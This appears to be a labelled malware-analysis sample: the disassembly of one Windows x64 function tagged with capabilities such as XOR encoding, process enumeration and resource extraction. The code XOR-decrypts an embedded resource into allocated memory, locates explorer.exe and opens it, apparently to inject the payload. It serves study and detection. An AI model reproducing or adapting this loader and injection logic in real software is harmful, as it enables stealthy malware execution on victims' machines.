Function at 0x140001000
Capabilities:
Encode data using xor
Enumerate processes
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x150
lea r11, str.alizeCritical
lea rax, [r11 - 1]
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x140001022
lea r8, str.SectionAndSpi
xor edx, edx
nop word [rax + rax]
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001040
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp byte [r11 + rax + 1], 0
lea rax, [rax + 1]
jne 0x140001060
xor edi, edi
lea r9, [rax - 1]
mov edx, edi
lea r8, [0x14001bb11]
mov r10d, edi
nop
movsxd rax, edx
mov ecx, edi
cmp rax, r9
cmovne ecx, edx
mov edx, edi
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 1], al
inc ecx
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 1], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 2], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 3], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 4], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 5], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 6], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 7], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
movzx eax, byte [rax + r11]
xor byte [r8 + 8], al
movsxd rax, ecx
cmp rax, r9
mov edx, edi
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 9], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 0xa], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 0xb], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 0xc], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 0xd], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 0xe], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 0xf], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 0x10], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 0x11], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 + 0x12], al
movsxd rax, ecx
cmp rax, r9
lea r8, [r8 + 0x1a]
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 - 7], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 - 6], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 - 5], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 - 4], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
movsxd rax, edx
lea ecx, [rdx + 1]
mov edx, edi
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
movsxd rax, ecx
cmp rax, r9
cmovne edx, ecx
add r10d, 0x1a
movsxd rax, edx
movzx eax, byte [rax + r11]
xor byte [r8 - 2], al
inc edx
cmp r10d, 0x1a
jb 0x140001080
mov edx, 0x64
xor ecx, ecx
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
mov r9d, 4
mov r8d, 0x3000
mov ebp, eax
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, edi
mov r10, rax
test ebp, ebp
je 0x1400013c6
mov r8, rdi
lea r11, [0x14001bb10]
mov rdx, rsi
nop word [rax + rax]
cmp r8, 0x19
lea rdx, [rdx + 1]
mov rcx, rdi
cmovne rcx, r8
inc r9d
movzx eax, byte [rcx + r11]
lea r8, [rcx + 1]
xor byte [rdx - 1], al
movsxd rax, r9d
cmp rax, rbx
jb 0x1400013a0
mov r8, rbx
mov rdx, rsi
mov rcx, r10
call fcn.14000f8f0
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001489
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
mov rcx, rbx
test eax, eax
je 0x140001483
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x14000144d
nop word [rax + rax]
lea rdx, [rsp + 0x4c]
lea rcx, str.explorer.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x140001449
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001420
jmp 0x140001480
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x140001489
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001489
mov r8d, ebp
mov rdx, rsi
mov rcx, rax
call fcn.1400015d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x150]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret